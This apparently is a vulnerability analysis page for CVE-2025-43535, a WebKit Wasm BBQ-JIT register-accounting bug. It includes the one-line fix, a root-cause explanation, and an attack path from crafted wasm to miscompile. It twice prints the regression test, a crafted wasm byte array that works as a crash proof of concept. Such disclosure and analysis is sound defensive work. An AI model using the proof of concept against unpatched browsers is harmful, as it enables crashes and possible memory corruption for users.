Released December 12, 2025

CVE-2025-43535

CVSS 4.3 severity medium vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L

Overview

Impact:

Description: Processing maliciously crafted web content may lead to an unexpected process crash

Researchers: Google Big Sleep, Nan Wang (@eternalsakura13)

Key insight. BBQ-JIT addArraySet used the index operand but never consume()d its register, leaking a binding and corrupting the allocator’s register model; adding consume(index) fixes the miscompile.

Patch Details

diff --git a/JSTests/wasm/stress/bbq-array-set-consume.js b/JSTests/wasm/stress/bbq-array-set-consume.js
new file mode 100644
index 000000000000..28c082dca919
--- /dev/null
+++ b/JSTests/wasm/stress/bbq-array-set-consume.js
@@ -0,0 +1,13 @@
+  function sakura_main() {
+    var wasm_code = new Uint8Array([
+  0,97,115,109,1,0,0,0,1,183,128,128,128,0,10,78,1,94,120,1,78,1,94,119,1,78,1,80,0,95,0,78,1,96,3,127,127,127,1,127,96,0,0,96,0,1,127,96,1,127,1,127,96,0,1,125,96,0,1,124,96,5,108,127,127,127,127,1,124,3,130,128,128,128,0,1,3,4,133,128,128,128,0,1,112,1,1,1,5,131,128,128,128,0,1,0,123,13,131,128,128,128,0,1,0,4,6,253,134,128,128,0,39,127,1,65,223,155,138,142,125,65,143,193,209,238,2,65,142,221,236,208,126,108,107,11,100,2,1,251,0,2,11,100,109,0,65,148,129,129,222,2,251,28,11,127,1,65,160,220,185,195,0,65,157,149,131,223,120,107,65,131,226,177,36,65,168,185,207,158,4,65,163,211,217,165,6,65,231,220,176,191,127,106,107,65,207,247,142,202,4,65,244,129,173,200,1,107,65,129,134,211,145,3,65,177,216,161,189,7,107,108,106,108,108,11,100,110,1,65,163,229,198,186,127,65,219,182,158,140,7,65,200,236,218,246,1,65,154,187,143,229,121,106,65,173,243,249,167,3,65,219,157,223,3,65,159,191,179,185,125,65,165,149,210,130,4,106,108,65,227,236,163,194,124,108,65,247,223,242,157,122,107,65,241,224,201,165,2,65,161,254,234,231,7,65,221,215,211,255,121,65,140,188,128,196,4,107,65,154,197,237,251,2,65,151,153,169,187,122,65,141,212,212,227,126,108,65,175,176,250,169,127,108,106,65,197,141,244,188,5,65,198,192,252,213,4,106,65,131,233,179,191,122,107,65,159,166,204,206,4,108,108,65,175,225,164,232,121,65,237,161,155,138,127,65,148,244,241,4,65,155,188,128,185,7,106,107,65,232,135,186,138,122,65,184,203,175,153,127,107,65,204,223,173,254,1,65,200,193,250,159,4,65,215,214,218,142,121,65,222,203,131,246,1,107,65,153,153,177,233,120,65,130,181,193,212,123,108,108,107,65,155,152,231,215,6,65,186,135,251,133,125,107,107,65,171,218,139,154,121,65,195,165,251,166,4,65,216,152,175,229,121,106,65,174,202,198,194,122,65,172,169,175,183,121,65,194,155,237,202,0,65,131,220,225,242,2,107,65,168,164,225,140,126,65,226,252,175,216,120,108,108,107,65,154,248,189,180,127,107,65,209,254,176,170,7,65,134,177,231,194,124,106,108,108,65,139,243,178,150,1,108,65,151,171,242,167,3,65,197,225,200,212,1,65,198,166,172,159,120,65,140,189,228,132,4,65,164,138,252,132,3,65,204,218,128,245,122,108,65,208,222,165,216,122,65,146,192,157,140,125,65,217,194,152,212,6,108,65,184,133,225,152,126,107,65,234,239,146,242,4,106,107,65,225,148,144,133,3,107,107,65,149,235,189,151,5,107,108,65,178,178,204,214,120,108,65,172,226,205,198,4,107,65,240,154,179,225,6,107,107,65,160,160,166,139,2,107,65,133,164,208,71,106,65,194,230,143,238,126,108,65,223,200,226,165,120,65,210,216,129,249,7,107,106,107,106,65,210,194,205,149,6,107,65,177,129,211,71,65,170,132,137,153,3,65,139,140,195,254,124,107,107,108,107,65,196,170,201,200,122,108,107,108,108,65,0,106,65,0,107,65,0,108,65,0,108,106,65,0,108,65,0,108,65,0,107,108,106,108,108,65,0,107,107,65,0,108,108,65,0,107,65,0,107,108,65,0,108,65,0,107,65,0,107,108,65,0,107,65,0,106,65,0,106,106,65,0,107,65,0,107,107,108,106,65,0,106,65,0,106,65,0,107,65,0,108,65,0,65,0,65,0,65,0,65,0,65,0,251,8,0,7,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,7,136,128,128,128,0,1,4,109,97,105,110,0,0,9,139,128,128,128,0,1,6,0,65,0,11,112,1,210,0,11,10,233,131,128,128,0,1,230,3,7,1,127,1,100,111,1,125,2,127,1,114,1,127,1,100,107,208,111,212,33,4,2,127,2,105,2,105,2,105,2,105,2,105,31,5,5,1,0,4,3,3,1,0,2,3,1,1,0,0,65,243,57,63,0,79,65,175,152,174,204,7,66,228,196,170,233,213,187,202,140,213,0,62,0,0,67,127,25,165,73,65,180,204,148,31,26,252,5,65,0,253,15,65,0,253,15,253,209,1,253,22,12,40,0,156,38,65,255,141,49,65,227,132,32,16,0,1,36,0,254,57,2,210,147,2,67,202,31,95,107,145,143,67,197,207,144,69,91,65,169,7,65,228,187,25,72,65,146,226,225,132,5,208,112,251,23,3,20,3,172,81,2,6,1,11,11,12,5,11,26,65,17,12,4,11,26,65,231,254,207,0,12,3,11,26,65,31,12,2,11,26,65,179,241,164,242,0,12,1,11,26,65,244,216,21,12,0,11,2,125,31,7,0,2,124,2,105,2,64,2,105,2,105,2,64,31,8,5,3,4,2,3,1,0,2,3,1,0,0,0,2,124,68,102,47,219,170,228,129,161,74,11,11,12,5,11,68,155,170,229,144,164,245,180,78,12,4,11,26,68,50,10,67,205,35,36,157,244,12,3,11,26,68,249,13,67,48,14,244,80,138,12,2,11,208,108,65,167,222,232,0,65,181,196,221,156,1,65,211,233,229,0,65,191,131,3,2,9,33,3,33,3,33,3,33,3,26,68,225,165,33,2,164,202,66,219,11,12,1,11,26,68,90,79,126,46,106,22,193,112,12,0,11,182,11,12,0,11,169,4,126,66,184,246,191,163,230,139,128,177,123,5,66,217,151,211,160,129,186,180,162,82,11,208,1,65,193,6,65,224,216,45,254,39,0,196,220,2,65,192,199,237,73,251,14,1,66,217,233,182,250,128,195,239,183,206,0,66,75,136,137,65,161,176,14,65,155,248,186,6,65,0,254,46,0,0,79,254,21,1,163,222,2,89,115,251,28,251,23,106,212,251,23,110,251,23,2,212,251,23,110,251,23,107,212,251,23,106,251,23,0,212,251,23,1,251,22,107,33,10,65,177,198,6,11
+  ]);
+    var wasm_module = new WebAssembly.Module(wasm_code);
+    var wasm_instance = new WebAssembly.Instance(wasm_module);
+    var f = wasm_instance.exports.main;
+    f();
+  }
+
+try {
+    sakura_main();
+} catch { }
diff --git a/Source/JavaScriptCore/wasm/WasmBBQJIT64.cpp b/Source/JavaScriptCore/wasm/WasmBBQJIT64.cpp
index 97fd2af1d36d..50ae0204cf0c 100644
--- a/Source/JavaScriptCore/wasm/WasmBBQJIT64.cpp
+++ b/Source/JavaScriptCore/wasm/WasmBBQJIT64.cpp
@@ -1837,6 +1837,7 @@ WARN_UNUSED_RETURN PartialResult BBQJIT::addArraySet(uint32_t typeIndex, TypedEx
         ASSERT(arrayref.asI64() == JSValue::encode(jsNull()));
 
         LOG_INSTRUCTION("ArraySet", typeIndex, arrayref, index, value);
+        consume(index);
         consume(value);
         emitThrowException(ExceptionType::NullAccess);
         return { };

Background

Advisory: Apple Security Advisory

Attribute Value
CVE CVE-2025-43535
Bugzilla 300774
Component JSC
Bug Class TypeConfusion
Severity medium
Commit 26d50a4d4b2df76c…
Advisory Apple Advisory

Terminology

  • BBQ JIT register model — Tracks which registers hold live operand values; every used operand must be consume()d to free its register.
  • array.set — Wasm GC instruction storing a value at an index in a typed array; takes array, index, and value operands.
  • consume() — Releases a value’s register binding after use; omitting it leaves the register wrongly marked occupied.
  • Register pressure — When many values compete for few registers, a leaked binding leads to incorrect reuse/spills.

Root Cause Analysis

In JavaScriptCore’s Wasm BBQ JIT (64-bit), BBQJIT::addArraySet compiles the array.set instruction, which takes an array reference, an index, and a value. The BBQ register allocator requires every operand value’s register to be released with consume() once it has been used, so the allocator’s model of free/occupied registers stays accurate. Pre-patch, addArraySet failed to consume() the index value after using it, so the index’s register remained marked as bound to that value even though array.set had finished with it. Subsequent codegen could then reuse or spill that register under the wrong assumption, corrupting the register-allocation state — a JIT miscompilation. The fix adds the missing consume(index) so the index operand’s register is released like the array and value operands, keeping the allocator consistent. The crafted wasm module in the test drives array.set with register pressure that exposes the leaked binding. The restored invariant is that all operands of array.set are consumed, so the BBQ allocator’s register model matches the emitted code.

Attack Path

1. Craft a wasm module using array.set

Build a module (GC arrays) whose function performs array.set under register pressure so the index operand’s register matters.

2. Compile via BBQ JIT

Instantiation compiles addArraySet, which uses the index but does not consume its register binding.

3. Corrupt allocator state

The index’s register stays wrongly bound, so later codegen reuses/spills it inconsistently.

4. Miscompile / crash

The mismatched register state produces incorrect code, crashing or corrupting memory in the WebContent process.

Impact Assessment

A BBQ-JIT register-accounting bug (advisory class LogicError): a missing consume() on the array.set index leaks a register binding and miscompiles code, reachable from crafted wasm in the WebContent process. JIT miscompiles are a corruption-class primitive; building a controlled outcome needs register shaping, and the observable is a crash. Confined to WebContent; rated medium.

Audit Directions

Missing consume() on operands

Audit all BBQ addX handlers (array/struct/table/memory ops) to confirm every operand fetched is consume()d exactly once.

array/struct GC ops

Review other GC instruction handlers (arrayGet/arrayNew/structSet) for the same operand-consume completeness.

32-bit vs 64-bit parity

Check WasmBBQJIT.cpp/WasmBBQJIT32 for the same array.set consume symmetry as WasmBBQJIT64.

Changed Functions

Function File Change Note
BBQJIT::addArraySet Source/JavaScriptCore/wasm/WasmBBQJIT64.cpp modified Adds the missing consume(index) so the array.set index operand’s register is released, keeping the BBQ register allocator consistent.

Files Changed

Source Files

  • Source/JavaScriptCore/wasm/WasmBBQJIT64.cpp

Test Files

  • JSTests/wasm/stress/bbq-array-set-consume.js

Regression Test

The fix ships this proof-of-concept / regression test:

diff --git a/JSTests/wasm/stress/bbq-array-set-consume.js b/JSTests/wasm/stress/bbq-array-set-consume.js
new file mode 100644
index 000000000000..28c082dca919
--- /dev/null
+++ b/JSTests/wasm/stress/bbq-array-set-consume.js
@@ -0,0 +1,13 @@
+  function sakura_main() {
+    var wasm_code = new Uint8Array([
+  0,97,115,109,1,0,0,0,1,183,128,128,128,0,10,78,1,94,120,1,78,1,94,119,1,78,1,80,0,95,0,78,1,96,3,127,127,127,1,127,96,0,0,96,0,1,127,96,1,127,1,127,96,0,1,125,96,0,1,124,96,5,108,127,127,127,127,1,124,3,130,128,128,128,0,1,3,4,133,128,128,128,0,1,112,1,1,1,5,131,128,128,128,0,1,0,123,13,131,128,128,128,0,1,0,4,6,253,134,128,128,0,39,127,1,65,223,155,138,142,125,65,143,193,209,238,2,65,142,221,236,208,126,108,107,11,100,2,1,251,0,2,11,100,109,0,65,148,129,129,222,2,251,28,11,127,1,65,160,220,185,195,0,65,157,149,131,223,120,107,65,131,226,177,36,65,168,185,207,158,4,65,163,211,217,165,6,65,231,220,176,191,127,106,107,65,207,247,142,202,4,65,244,129,173,200,1,107,65,129,134,211,145,3,65,177,216,161,189,7,107,108,106,108,108,11,100,110,1,65,163,229,198,186,127,65,219,182,158,140,7,65,200,236,218,246,1,65,154,187,143,229,121,106,65,173,243,249,167,3,65,219,157,223,3,65,159,191,179,185,125,65,165,149,210,130,4,106,108,65,227,236,163,194,124,108,65,247,223,242,157,122,107,65,241,224,201,165,2,65,161,254,234,231,7,65,221,215,211,255,121,65,140,188,128,196,4,107,65,154,197,237,251,2,65,151,153,169,187,122,65,141,212,212,227,126,108,65,175,176,250,169,127,108,106,65,197,141,244,188,5,65,198,192,252,213,4,106,65,131,233,179,191,122,107,65,159,166,204,206,4,108,108,65,175,225,164,232,121,65,237,161,155,138,127,65,148,244,241,4,65,155,188,128,185,7,106,107,65,232,135,186,138,122,65,184,203,175,153,127,107,65,204,223,173,254,1,65,200,193,250,159,4,65,215,214,218,142,121,65,222,203,131,246,1,107,65,153,153,177,233,120,65,130,181,193,212,123,108,108,107,65,155,152,231,215,6,65,186,135,251,133,125,107,107,65,171,218,139,154,121,65,195,165,251,166,4,65,216,152,175,229,121,106,65,174,202,198,194,122,65,172,169,175,183,121,65,194,155,237,202,0,65,131,220,225,242,2,107,65,168,164,225,140,126,65,226,252,175,216,120,108,108,107,65,154,248,189,180,127,107,65,209,254,176,170,7,65,134,177,231,194,124,106,108,108,65,139,243,178,150,1,108,65,151,171,242,167,3,65,197,225,200,212,1,65,198,166,172,159,120,65,140,189,228,132,4,65,164,138,252,132,3,65,204,218,128,245,122,108,65,208,222,165,216,122,65,146,192,157,140,125,65,217,194,152,212,6,108,65,184,133,225,152,126,107,65,234,239,146,242,4,106,107,65,225,148,144,133,3,107,107,65,149,235,189,151,5,107,108,65,178,178,204,214,120,108,65,172,226,205,198,4,107,65,240,154,179,225,6,107,107,65,160,160,166,139,2,107,65,133,164,208,71,106,65,194,230,143,238,126,108,65,223,200,226,165,120,65,210,216,129,249,7,107,106,107,106,65,210,194,205,149,6,107,65,177,129,211,71,65,170,132,137,153,3,65,139,140,195,254,124,107,107,108,107,65,196,170,201,200,122,108,107,108,108,65,0,106,65,0,107,65,0,108,65,0,108,106,65,0,108,65,0,108,65,0,107,108,106,108,108,65,0,107,107,65,0,108,108,65,0,107,65,0,107,108,65,0,108,65,0,107,65,0,107,108,65,0,107,65,0,106,65,0,106,106,65,0,107,65,0,107,107,108,106,65,0,106,65,0,106,65,0,107,65,0,108,65,0,65,0,65,0,65,0,65,0,65,0,251,8,0,7,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,7,136,128,128,128,0,1,4,109,97,105,110,0,0,9,139,128,128,128,0,1,6,0,65,0,11,112,1,210,0,11,10,233,131,128,128,0,1,230,3,7,1,127,1,100,111,1,125,2,127,1,114,1,127,1,100,107,208,111,212,33,4,2,127,2,105,2,105,2,105,2,105,2,105,31,5,5,1,0,4,3,3,1,0,2,3,1,1,0,0,65,243,57,63,0,79,65,175,152,174,204,7,66,228,196,170,233,213,187,202,140,213,0,62,0,0,67,127,25,165,73,65,180,204,148,31,26,252,5,65,0,253,15,65,0,253,15,253,209,1,253,22,12,40,0,156,38,65,255,141,49,65,227,132,32,16,0,1,36,0,254,57,2,210,147,2,67,202,31,95,107,145,143,67,197,207,144,69,91,65,169,7,65,228,187,25,72,65,146,226,225,132,5,208,112,251,23,3,20,3,172,81,2,6,1,11,11,12,5,11,26,65,17,12,4,11,26,65,231,254,207,0,12,3,11,26,65,31,12,2,11,26,65,179,241,164,242,0,12,1,11,26,65,244,216,21,12,0,11,2,125,31,7,0,2,124,2,105,2,64,2,105,2,105,2,64,31,8,5,3,4,2,3,1,0,2,3,1,0,0,0,2,124,68,102,47,219,170,228,129,161,74,11,11,12,5,11,68,155,170,229,144,164,245,180,78,12,4,11,26,68,50,10,67,205,35,36,157,244,12,3,11,26,68,249,13,67,48,14,244,80,138,12,2,11,208,108,65,167,222,232,0,65,181,196,221,156,1,65,211,233,229,0,65,191,131,3,2,9,33,3,33,3,33,3,33,3,26,68,225,165,33,2,164,202,66,219,11,12,1,11,26,68,90,79,126,46,106,22,193,112,12,0,11,182,11,12,0,11,169,4,126,66,184,246,191,163,230,139,128,177,123,5,66,217,151,211,160,129,186,180,162,82,11,208,1,65,193,6,65,224,216,45,254,39,0,196,220,2,65,192,199,237,73,251,14,1,66,217,233,182,250,128,195,239,183,206,0,66,75,136,137,65,161,176,14,65,155,248,186,6,65,0,254,46,0,0,79,254,21,1,163,222,2,89,115,251,28,251,23,106,212,251,23,110,251,23,2,212,251,23,110,251,23,107,212,251,23,106,251,23,0,212,251,23,1,251,22,107,33,10,65,177,198,6,11
+  ]);
+    var wasm_module = new WebAssembly.Module(wasm_code);
+    var wasm_instance = new WebAssembly.Instance(wasm_module);
+    var f = wasm_instance.exports.main;
+    f();
+  }
+
+try {
+    sakura_main();
+} catch { }